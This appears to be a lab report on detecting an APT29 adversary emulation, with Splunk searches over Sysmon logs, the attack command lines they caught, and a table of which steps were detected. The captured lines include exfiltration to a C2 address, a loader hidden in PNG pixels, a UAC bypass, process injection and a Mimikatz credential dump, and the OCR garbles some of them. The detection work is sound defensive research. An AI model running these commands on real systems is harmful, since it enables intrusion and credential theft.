

Detection of the APT29 emulation operation

PowerShell

New Search SPL Convert to SPL2 Save As Create Table View Close

index=sysmon sourcetype="WinEventLog" LogName="Microsoft-Windows-Sysmon/Operational" EventCode=1
| rex field=Message "CommandLine:\s+(?<CommandLine>[^\r\n]+)"
| eval CommandLower=lower(CommandLine)
| where match(CommandLower, "powershell\.exe")
AND (like(CommandLower, "%-windowstyle hidden%") OR like(CommandLower, "%-w hidden%"))
| stats values(CommandLine) as "Command Lines" by ComputerName

Time range: Date time range Q +

✓ 1 event (3/20/26 5:00:00.000 PM to 3/20/26 6:00:00.000 PM) Job || ⏏ ↶ ⏏ ⏏ ⚡ Fast Mode

No Event Sampling

Events Patterns **Statistics (1)** Visualization

Show: 20 Per Page Format Preview: Off

ComputerName	Command Lines
DESKTOP-9JH44HD.ec.sa.com	powershell.exe -ExecutionPolicy Bypass -C "Sleep 3;\$bin = Get-ChildItem *cod*scr*;start-process - WindowStyle Hidden \$bin.FullName.toString() -ArgumentList \"-server http://192.168.1.45:443\";if (\$?) { write-host \"Successfully completed RTLO execution. A new agent should appear\"; exit 0;} else { write-host \"Failure of RTLO execution.\"; exit 1;}"

Automated Collection

New Search SPL Convert to SPL2 Save As Create Table View Close

index=sysmon sourcetype="WinEventLog" LogName="Microsoft-Windows-Sysmon/Operational" EventCode=1 "powershell"
| rex field=Message "CommandLine:\s+(?<CommandLine>[^\r\n]+)"
| eval CommandLower=lower(CommandLine)
| where match(CommandLower, "powershell\.exe")
| rex field=CommandLower max_match=0 "(?<raw_matches>\.doc\|.xls\|.ppt\|.pps\|.wpd\|.ods\|.odt\|.lwp\|.jtd\|.pdf\|.zip\|.rar\|.docx\|.url\|.xlsx\|.pptx\|.ppsx\|.pst\|.ost\|.bpass\|.bpass\|.blogin\|.badmin\|.sifr\|.sifer\|.bvpn\|.jpg\|.txt\|.lnk)"
| eval distinct_types = mvdedup(raw_matches)
| where mvcount(distinct_types) >= 3
| stats values(CommandLine) as "Command Lines", values(distinct_types) as "Unique Indicators" by ComputerName

Time range: Date time range Q +

✓ 4 events (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM) No Event Sampling Job || ⏏ ↶ ⏏ ⏏ ⚡ Fast Mode

Events Patterns **Statistics (2)** Visualization

Show: 20 Per Page Format Preview: Off

ComputerName	Command Lines	Unique Indicators
DESKTOP-22K140G.ec.sa.com	powershell.exe -ExecutionPolicy Bypass -C "move-item Rar.exe -Destination C:\Windows\Temp -Force;\$env:APPDATA\files\ChildItem -Path \$env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*.paw,*.pass,*.login,*.admin,*.sifr,*.sifer,*.vpn,*.jpg,*.txt,*.lnk -Recurse - ErrorAction SilentlyContinue Select -ExpandProperty FullName; Compress-Archive -LiteralPath \$files -CompressionLevel Optimal -DestinationPath \$env:APPDATA\working.zip -force;cd C:\Windows\Temp; \Rar.exe a - hfgozg5kw \"\$env:USERPROFILE\Desktop\working.zip\" \"\$env:APPDATA\working.zip\";"	.doc .jpg .jtd .lnk ...

System Owner / User Discovery

New Search

SPL ▼ Convert to SPL2 Save As ▼ Time range

```
index=sysmon sourcetype="WinEventLog" LogName="Microsoft-Windows-Sysmon/Operational"
    EventCode=1
| rex field=Message "CommandLine:\s+(?<CommandLine>[^\r\n]+)"
| eval CommandLower=lower(CommandLine)
| where like(CommandLower, "%echo %userdomain%\%username%")
| stats values(CommandLine) as "Command Lines" by ComputerName
```

✓ 1 event (3/20/26 5:00:00.000 PM to 3/20/26 6:00:00.000 PM)

No Event Sampling ▼

Events Patterns **Statistics (1)** Visualization

Show: 20 Per Page ▼ Format Preview: Off

ComputerName ↕	Command Lines ↕
DESKTOP-9JH44HD.ec.sa.com	cmd.exe /C echo %USERDOMAIN%\%USERNAME%

Data from staged file and Exfiltration over C2 Channel

New Search

SPL

Convert to SPL2

Save As

Create Table View

Close

Time range: Date time range

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```

index=sysmon sourcetype="WinEventLog" LogName="Microsoft-Windows-Sysmon/Operational"
  EventCode=1
| rex field=Message "CommandLine:\s+(?<CommandLine>[^\r\n]+)"
| eval CommandLower=lower(CommandLine)
| where like(CommandLower, "%invoke-multipartformdataupload%")
| stats values(CommandLine) as "Command Lines" by ComputerName

```

5 events (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM)

Job

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⏏

⏏

⏏

⏏

⏏

Fast Mode

No Event Sampling

Events

Patterns

Statistics (2)

Visualization

Show: 20 Per Page

Format

Preview: Off

ComputerName	Command Lines
DESKTOP-22K140G.ec.sa.com	powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile "C:\Users\Administrator\Desktop\working.zip" -Uri "http://192.168.1.45:443/api/v2/payloads";"
DESKTOP-9JH44HD.ec.sa.com	<pre> powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile "C:\Users\Administrator\AppData\Roaming\Draft.zip" -Uri "http://192.168.1.45:443/api/v2/payloads";" powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile "C:\Users\Administrator\Desktop\working.zip" -Uri "http://192.168.1.45:443/api/v2/payloads";" powershell.exe -ExecutionPolicy Bypass -C "Write-Host [*] Compressing all the things in download dir\;Compress-Archive -Path "C:\Users\Administrator\Downloads*.*)" -DestinationPath \"\$env:APPDATA\OfficeSupplies.zip";Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile \"\$env:APPDATA\OfficeSupplies.zip" -Uri "http://192.168.1.45:443/api/v2/payloads";if (\$?) { write-host [*] Data exfil of download directory completed!";} else { write-host [*] Data exfil failed!";}" </pre>

Process Discovery

New Search

SPL▼

Convert to SPL2

Save As▼

Create Table View

C

index=sysmon sourcetype="WinEventLog" LogName="Microsoft-Windows-Sysmon/Operational" EventCode=1

| rex field=Message "CommandLine:\s+(?<CommandLine>[^\r\n]+)"

| eval CommandLower=lower(CommandLine)

| where like(CommandLower, "%import-module%")

AND like(CommandLower, "%processlist%")

| stats values(CommandLine) as "Command Lines" by ComputerName

Time range: Date time range▼

Q

✓ 1 event (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM)

Job▼

||

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↷

⬇

⚡ Fast Mode

No Event Sampling▼

Events

Patterns

Statistics (1)

Visualization

Show: 20 Per Page▼

✎ Format▼

☐ Preview: Off

ComputerName↕

✎

Command Lines↕

DESKTOP-9JH44HD.ec.sa.com

powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\ps.ps1 -Verbose -Force;ProcessList"

Account Discovery

New Search

SPL ▼ Convert to SPL2

```
index=sysmon sourcetype="WinEventLog"
LogName="Microsoft-Windows-Sysmon/Operational"
EventCode=1

| rex field=Message "CommandLine:\s+(?<CommandLine>[^\r\n]+)"

| eval CommandLower=lower(CommandLine)

| where (like(CommandLower, "%net%user%/domain%") OR like(CommandLower, "%net1%user%/domain%"))

| stats values(CommandLine) as "Command Lines" count by ComputerName
```

✓ 6 events (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM) Job ⏏ ⏏ ⏏ ⏏ ⏏ ⏏

No Event Sampling ▼

Events Patterns **Statistics (1)** Visualization

Show: 20 Per Page ▼ Format ▼ Preview: Off

ComputerName ⬇	Command Lines ⬇
DESKTOP-9JH44HD.ec.sa.com	C:\Windows\system32\net1 user /domain
	C:\Windows\system32\net1 user Administrator /domain
	cmd.exe /C net user %%USERNAME%% /domain
	cmd.exe /C net user /domain
	net user /domain
	net user Administrator /domain

Account Discovery

New Search SPL ▼ Convert to SPL2 Save

```
index=sysmon sourcetype="WinEventLog"
LogName="Microsoft-Windows-Sysmon/Operational"
EventCode=1

| rex field=Message "CommandLine:\s+(?<CommandLine>[^\r\n]+)"

| eval CommandLower=lower(CommandLine)

| where (like(CommandLower, "%net%user%/domain%") OR like(CommandLower, "%net1%user%/domain%"))

| stats values(CommandLine) as "Command Lines" count by ComputerName
```

✓ 6 events (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM) Job ▼ || ■ → 🖨 ⬇ ⚡

No Event Sampling ▼

Events Patterns **Statistics (1)** Visualization

Show: 20 Per Page ▼ ✍ Format ▼ ☐ Preview: Off

ComputerName ↕	Command Lines ↕
DESKTOP-9JH44HD.ec.sa.com	C:\Windows\system32\net1 user /domain C:\Windows\system32\net1 user Administrator /domain cmd.exe /C net user %USERNAME% /domain cmd.exe /C net user /domain net user /domain net user Administrator /domain

Staging monkey PNG

New Search SPL Convert to SPL2 Save As Create Table View

```
index=sysmon
sourcetype="WinEventLog"
LogName="Microsoft-Windows-Sysmon/Operational"
EventCode=1
| eval CommandLower=lower(_raw)
| where (like(CommandLower, "%system.drawing%"))
      OR (
        (like(CommandLower, "%copy%") OR like(CommandLower, "%move%"))
        AND like(CommandLower, "%.png%")
        AND NOT like(CommandLower, "%remove%")
      )
| stats values(CommandLine) as "Command Lines" count by ComputerName
| where count > 1
```

Time range: Date time range

✓ 5 events (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM) Job II ■ ↶ ↷ ⬇ ⚡ Fast Mode

No Event Sampling ▾

Events Patterns **Statistics (1)** Visualization

Show: 20 Per Page ▾ Format Preview: On

ComputerName	Command Lines
DESKTOP-9JH44HD.ec.sa.com	"C:\Windows\system32\cmd.exe" /c powershell.exe "C:\Windows\system32\cmd.exe" /c sdclt.exe "PowerShell.exe" -noni -noexit -ep bypass -window hidden -c "sal a New-Object;Add-Type -AssemblyName 'System.Drawing'; \$g=a System.Drawing.Bitmap('C:\Users\ \$((\$username)\Downloads\monkey.png'); \$o=a Byte[] 4480;for(\$i=0; \$i -le 6; \$i++){foreach(\$x in(0..639)){ \$p=\$g.GetPixel(\$x,\$i); \$o[\$i*640+\$x]=([math]::Floor((\$p.B-band15)*16)-bor(\$p.G- band15))}; \$g.Dispose(); IEX([System.Text.Encoding]::ASCII.GetString(\$o[0..3932]))" powershell.exe -ExecutionPolicy Bypass -C "\$username='Administrator\'; if (\$(test-path -path \'C:\Users\\$(username)\Downloads\monkey.png\') -eq \$false) { copy-item monkey.png -Destination \'C:\Users\\$(username)\Downloads\\\\\\' -Force; if (\$? -eq \$True) { write-host \'[+] Successfully copied monkey.png!\'; get-childitem -path \'C:\Users\\$(username)\Downloads\\\\\ \'

UAC Bypass via Backup Utility

New Search SPL Convert to SPL2 Save As Create Table View Close

```
index=New Search
sourcetype="WinEventLog"
LogName="Microsoft-Windows-Sysmon/Operational"
EventCode=1
| eval CommandLower=lower(CommandLine)
| where match(CommandLower, "powershell")
      AND match(CommandLower, "hkcu")
| rex [i]([a-z0-9]{1,32}) [i]([a-z0-9]{1,32}) [i]([a-z0-9]{1,32}) [i]([a-z0-9]{1,32}) [i]([a-z0-9]{1,32})
| eval other_exe = mvfilter(NOT match(_raw, "powershell.exe|pwsh.exe"))
| where isnotnull(other_exe)
| table _time, host, User, Image, other_exe, CommandLine, ParentImage
| sort -_time
```

Time range: Date time range

✓ 1 event (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM) Job II ■ ↶ ↷ ⬇ ⚡ Fast Mode

No Event Sampling ▾

_time	host	User	Image	other_exe	CommandLine	ParentImage
2026-03-20 18:25:06.688	DESKTOP-9JH44HD	NOT_TRANSLATED DESKTOP-9JH44HD\Administrator	C:\ Windows\System32\WindowsPowerShell\v1.0\powershell.exe	sdclt.exe sdclt.exe cmd.exe sdclt.exe cmd.exe	powershell.exe -ExecutionPolicy Bypass -C "if ([!(\$? -path \$env:windir\system32\sdclt.exe)) { write-host \'[] sdclt.exe was not found on this host.\'; exit 1;}New-Item -Path HKCU:\Software\Classes\Folder -Name shell -Force;New-Item -Path HKCU:\Software\Classes\Folder\shell -Name open -Force;New-Item -Path HKCU:\Software\Classes\Folder\shell\open -Name command -Force; \$username='Administrator\'; \$payload='powershell.exe -noni -noexit -ep bypass - window hidden -c \'sal a New-Object;Add-Type -AssemblyName \'System.Drawing\'; \$g=a System.Drawing.Bitmap(\'C:\Users\\$(username)\Downloads\monkey.png\'); \$o=a Byte[] 4480;for(\$i=0; \$i -le 6; \$i++){foreach(\$x in(0..639)){ \$p=\$g.GetPixel(\$x,	C:\ Users\Public\lsandcat.exe

Registry Cleanup for UAC Bypass Technique

New Search SPL Convert to SPL2 Save As Create Table View Close

```
index=sysmon
sourcetype="WinEventLog"
LogName="Microsoft-Windows-Sysmon/Operational"
(EventCode=1 OR EventCode=12)
| eval CommandLower = lower(CommandLine), TargetLower = lower(TargetObject)
| where (match(CommandLower, "remove-item") AND match(CommandLower, "hkey"))
OR (EventCode=12 AND match(TargetLower, "hkey_current_user"))
| table _time, host, User, EventCode, Image, CommandLine, TargetObject
| sort - _time
```

✓ 1 event (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM) No Event Sampling Job || → ⬇ ⚡ Fast Mode

Events Patterns **Statistics (1)** Visualization

Show: 20 Per Page Format Preview: On

_time	host	User	EventCode	Image	CommandLine
2026-03-20 18:25:58.764	DESKTOP-9JH44HD	NOT_TRANSLATED DESKTOP-9JH44HD\Administrator	1	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	powershell.exe - ExecutionPolicy Bypass -C "Remove-Item -Path HKCU:\Software\Classes\Folder* -Recurse -Force;if (!(test-path -path HKCU:\Software\Classes\Folder)) { write-host \"[+] Reg keys removed!\"; }"

Process Injection

New Search SPL Convert to SPL2 Save As Create Table View Close

```
index=sysmon
sourcetype="WinEventLog"
LogName="Microsoft-Windows-Sysmon/Operational"
EventCode=1
| eval CommandLower=lower(CommandLine)
| where match(CommandLower, "import-module")
AND match(CommandLower, "toBase64string")
AND match(CommandLower, "start-job")
AND match(CommandLower, "http://192.168.1.45:443")
| table _time, host, User, Image, CommandLine
| sort - _time
```

✓ 1 event (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM) No Event Sampling Job || → ⬇ ⚡ Fast Mode

Events Patterns **Statistics (1)** Visualization

Show: 20 Per Page Format Preview: On

_time	host	User	Image	CommandLine
2026-03-20 18:26:43.936	DESKTOP-9JH44HD	NOT_TRANSLATED DESKTOP-9JH44HD\Administrator	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\Invoke-PSInject.ps1 -Verbose -Force;Move-Item -Path .\update.ps1 -Destination \$env:APPDATA -Force;\$code = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Import-Module \$env:APPDATA\update.ps1;update('http://192.168.1.45:443')'));Start-Job -ScriptBlock { param(\$code); Import-Module .\Invoke-PSInject.ps1; Inject -PoshCode \$code } -ArgumentList \$code;"

Planting Modified Sysinternals Utilities

The screenshot shows a Splunk search interface with a query in the search bar: `index=sysmon sourcetype="WinEventLog" LogName="Microsoft-Windows-Sysmon/Operational" EventCode=1 | eval cmd=lower(CommandLine) | where (like(cmd, "iwr") OR like(cmd, "invoke-webrequest")) AND like(cmd, "scopy-items") | table _time, host, User, Image, CommandLine`. The results table shows a single event from 2026-03-20 at 18:27:51.934, executed by Administrator on DESKTOP-9JH44HD. The command line is a long PowerShell script that downloads and installs the Sysinternals Suite.

_time	host	User	Image	CommandLine
2026-03-20 18:27:51.934	DESKTOP-9JH44HD	DESKTOP-9JH44HD\Administrator	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	powershell.exe -ExecutionPolicy Bypass -c "iwr -uri 'https://download.sysinternals.com/files/SysinternalsSuite.zip' -outfile SysInternalsSuite.zip; Expand-Archive -Path SysInternalsSuite.zip -DestinationPath 'C:\Users\Administrator\Downloads\SysInternalsSuite\' -force; if (\$?) { write-host 'Error moving files to Administrator\Downloads'; exit 1; } Move-Item Modified-SysInternalsSuite.zip 'C:\Users\Administrator\Downloads\' -Force; Expand-Archive -LiteralPath 'C:\Users\Administrator\Downloads\Modified-SysInternalsSuite.zip' -DestinationPath 'C:\Users\Administrator\Downloads\Modified-SysInternalsSuite\' -force; if (\$?) { write-host 'Error expanding files to Administrator\Downloads'; exit 1; } \$dir_exists=Test-Path -path 'C:\Program Files\SysInternalsSuite\' ; if (\$dir_exists -eq \$true) { write-host '[*] SysInternalsSuite folder exists within C:\Program Files\' , copying over payloads then removing folder from Downloads.' ; Move-Item -path 'C:\Users\Administrator\Downloads\SysInternalsSuite\' -Destination 'C:\Program Files\SysInternalsSuite\' -force; Move-Item -path 'C:\Users\Administrator\Downloads\Modified-SysInternalsSuite\' -Destination 'C:\Program Files\SysInternalsSuite\' -force; } else { mkdir 'C:\Program Files\SysInternalsSuite\' ; Copy-Item -Path 'C:\Users\Administrator\Downloads\SysInternalsSuite\' -Destination 'C:\Program Files\SysInternalsSuite\' -force; Copy-Item -Path 'C:\Users\Administrator\Downloads\Modified-SysInternalsSuite\' -Destination 'C:\Program Files\SysInternalsSuite\' -force; } if (Test-Path -path 'C:\Program Files\SysInternalsSuite\') { Remove-Item -path 'C:\Program Files\SysInternalsSuite\' -force; } if (Test-Path -path 'C:\Users\Administrator\Downloads\Modified-SysInternalsSuite\') { remove-item -path 'C:\Users\Administrator\Downloads\Modified-SysInternalsSuite\' -force; } if (Test-Path -path 'C:\Users\Administrator\Downloads\Modified-SysInternalsSuite\') { remove-item -path 'C:\Users\Administrator\Downloads\Modified-SysInternalsSuite\' -recurse -force; } if (Test-Path -path 'C:\Users\Administrator\Downloads\SysInternalsSuite\') { Remove-Item -path 'C:\Users\Administrator\Downloads\SysInternalsSuite\' -recurse -force; } Set-Location -path 'C:\Program Files\SysInternalsSuite\' ; if (\$?) { gci; write-host '[*] Successfully planted files' } else { write-host '[!] Error downloading and planting modified system tools.' }

Loading Stage-2 & Performing Discovery

The screenshot shows a Splunk search interface with a query in the search bar: `index=sysmon LogName="Microsoft-Windows-Sysmon/Operational" EventCode=1 | where (match(CommandLine, "(?i)(Move-Item|mv|move|ren).*\.txt|log|csv|tmp|dat|bak|old).*\.ps1")) AND (match(CommandLine, "(?i)\\.\\.*\\.\\.*\\.ps1") OR match(CommandLine, "Invoke-")) | eval PotentialScriptSource = case (match(CommandLine, "\.txt"), "Text File", match(CommandLine, "\.log"), "Log File", match(CommandLine, "\.csv"), "CSV File", match(CommandLine, "\.tmp"), "Temp File", 1, "Other Extension") | rename CommandLine as cmd | table _time, Computer, User, PotentialScriptSource, cmd`. The results table shows a single event from 2026-03-20 at 18:37:37.189, executed by Administrator on DESKTOP-9JH44HD. The command line is a PowerShell script that performs discovery on the system.

_time	Computer	User	PotentialScriptSource	cmd
2026-03-20 18:37:37.189	DESKTOP-9JH44HD	Administrator	Text File	powershell.exe -ExecutionPolicy Bypass -c "if (!(Test-Path -path 'C:\Program Files\SysInternalsSuite\')) { write-host '[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped.' ; exit 1; } Set-Location -path 'C:\Program Files\SysInternalsSuite\' ; if (!(Test-Path 'C:\readme.ps1')) { Move-Item .\readme.txt readme.ps1 -Force; . .\readme.ps1; Invoke-Discovery; }

Credential Dumping using Process Injection

The screenshot shows a Splunk search interface with a query in the search bar: `index=sysmon LogName="Microsoft-Windows-Sysmon/Operational" EventCode=1 | eval cmd=lower(CommandLine) | where ( match(cmd, "Isadump::sam") AND match(cmd, "iwr|get|curl|webclient|downloadstring|downloadfile") AND match(cmd, "biexec|invoke-expression") ) | table _time, host, User, CommandLine`. The results table shows a single event from 2026-03-20 at 18:38:41.198, executed by Administrator on DESKTOP-9JH44HD. The command line is a PowerShell script that performs credential dumping using Isadump.

_time	host	User	CommandLine
2026-03-20 18:38:41.198	DESKTOP-9JH44HD	DESKTOP-9JH44HD\Administrator	powershell.exe -ExecutionPolicy Bypass -c "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { \$true }; \$web = (New-Object System.Net.WebClient); \$url = 'https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1'; \$result = \$web.DownloadString(\$url); iex \$result; function hashdump { Invoke-Mimikatz -Command 'privilege::debug token::elevate Isadump::sam exit'; hashdump; }

Data from staged file (T1074) and Exfiltration over C2 Channel (T1041)

New Search SPL ▾ Convert to SPL2 Save As ▾ Create Table View Close

Time range: Date time range ▾ 🔍 🌟

```
index=sysmon sourcetype="WinEventLog" LogName="Microsoft-Windows-Sysmon/Operational"
  EventCode=1
| rex field=Message "CommandLine:\s+(?<CommandLine>[^\r\n]+)"
| eval CommandLower=lower(CommandLine)
| where like(CommandLower, "%invoke-multipartformdataupload%")
| stats values(CommandLine) as "Command Lines" by ComputerName
```

✓ 5 events (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM) Job ▾ ⏏ ⏏ ⏏ ⏏ ⚡ Fast Mode ▾

No Event Sampling ▾

Events Patterns **Statistics (2)** Visualization

Show: 20 Per Page ▾ ✎ Format ▾ 🔍 Preview: Off

ComputerName ↕	Command Lines ↕
DESKTOP-22K140G.ec.sa.com	powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile \"C:\Users\Administrator\Desktop\working.zip\" -Uri \"http://192.168.1.45:443/api/v2/payloads\";"
DESKTOP-9JH44HD.ec.sa.com	powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile \"C:\Users\Administrator\AppData\Roaming\Draft.zip\" -Uri \"http://192.168.1.45:443/api/v2/payloads\";" powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile \"C:\Users\Administrator\Desktop\working.zip\" -Uri
	powershell.exe -ExecutionPolicy Bypass -C "Write-Host \"[*] Compressing all the things in download dir\";Compress-Archive -Path \"C:\Users\Administrator\Downloads*.\" -DestinationPath \"\$env:APPDATA\OfficeSupplies.zip\";Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile \"\$env:APPDATA\OfficeSupplies.zip\" -Uri \"http://192.168.1.45:443/api/v2/payloads\";if (\$?) { write-host \"[*] Data exfil of download directory completed!\";} else { write-host \"[*] Data exfil failed!\";}"

Data from staged file (T1074) and Exfiltration over C2 Channel (T1041)

New Search

SPL

Convert to SPL2

Save As

Create Table View

CLOSE

index=sysmon sourcetype="WinEventLog" LogName="Microsoft-Windows-Sysmon/Operational" EventCode=1

| rex field=Message "CommandLine:\s+(?<CommandLine>[^\r\n]+)"

| eval CommandLower=lower(CommandLine)

| where like(CommandLower, "%invoke-multipartformdataupload%")

| stats values(CommandLine) as "Command Lines" by ComputerName

Time range: Date time range

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5 events (3/20/26 6:00:00.000 PM to 3/20/26 7:00:00.000 PM)

Job

⏏

🔄

📄

⬇

⚡ Fast Mode

No Event Sampling

Events

Patterns

Statistics (2)

Visualization

Show: 20 Per Page

Format

Preview: Off

ComputerName	Command Lines
DESKTOP-22K140G.ec.sa.com	powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\upload.ps1 -Verbose -Force; Invoke-MultipartFormDataUpload -InFile \"C:\Users\Administrator\Desktop\working.zip\" -Uri \"http://192.168.1.45:443/api/v2/payloads\";"
DESKTOP-9JH44HD.ec.sa.com	powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\upload.ps1 -Verbose -Force; Invoke-MultipartFormDataUpload -InFile \"C:\Users\Administrator\AppData\Roaming\Draft.zip\" -Uri \"http://192.168.1.45:443/api/v2/payloads\";"
	powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\upload.ps1 -Verbose -Force; Invoke-MultipartFormDataUpload -InFile \"C:\Users\Administrator\Desktop\working.zip\" -Uri \"http://192.168.1.45:443/api/v2/payloads\";"
	powershell.exe -ExecutionPolicy Bypass -C "Write-Host \"[*] Compressing all the things in download dir\"; Compress-Archive -Path \"C:\Users\Administrator\Downloads*.\" -DestinationPath \"\$env:APPDATA\OfficeSupplies.zip\"; Import-Module .\upload.ps1 -Verbose -Force; Invoke-MultipartFormDataUpload -InFile \"\$env:APPDATA\OfficeSupplies.zip\" -Uri \"http://192.168.1.45:443/api/v2/payloads\"; if (\$?) { write-host \"[*] Data exfil of download directory completed!\"; } else { write-host \"[*] Data exfil failed!\"; }"

Table 1: Detection results by step in the APT29 attack scenario

Emulation plan step	Detection
RTLO Start Sandcat	Not detected
PowerShell	Detected
Automated Collection	Detected
System Owner / User Discovery	Detected
Data from staged file and Exfiltration over C2 Channel	Detected
Process Discovery	Detected
Account Discovery	Detected
Account Discovery	Detected
Staging monkey PNG	Detected
UAC Bypass via Backup Utility	Detected
Registry Cleanup for UAC Bypass Technique	Detected
Process Injection	Detected
Planting Modified Sysinternals Utilities	Detected
Artifact Cleanup - Delete Files	Not detected
Loading Stage-2 & Performing Discovery	Detected
Credential Dumping using Process Injection	Detected
Persistent Service 1	Not detected
Persistent Service 2	Not detected
Credentials In Files- Chrome	Not detected

Credentials In Files (T1081) - Private Keys Extraction	Not detected
Staging files for PowerShell module imports	Not detected
Screen Capturing	Not detected
Automated Collection (T1119) - Clipboard (T1115)	Not detected
Automated Collection (T1119) - Input Capture (T1417)	Not detected
Data from staged file (T1074) and Exfiltration over C2 Channel (T1041)	Detected
Remote System Discovery (T1018)	Not detected
Identifying current user on other machines	Not detected
Copy Sandcat File	Not detected
Hostname Discovery 1	Not detected
Screen Capture (T1113)	Not detected
File and Directory Discovery (T1083)	Not detected
Automated document collection (T1119)	Not detected
Data from staged file (T1074) and Exfiltration over C2 Channel (T1041)	Detected
Artifact Cleanup - Delete Staged Files	Not detected
Artifact Cleanup	Not detected
Startup Folder Persistence Execution	Not detected
Scheduled Task	Not detected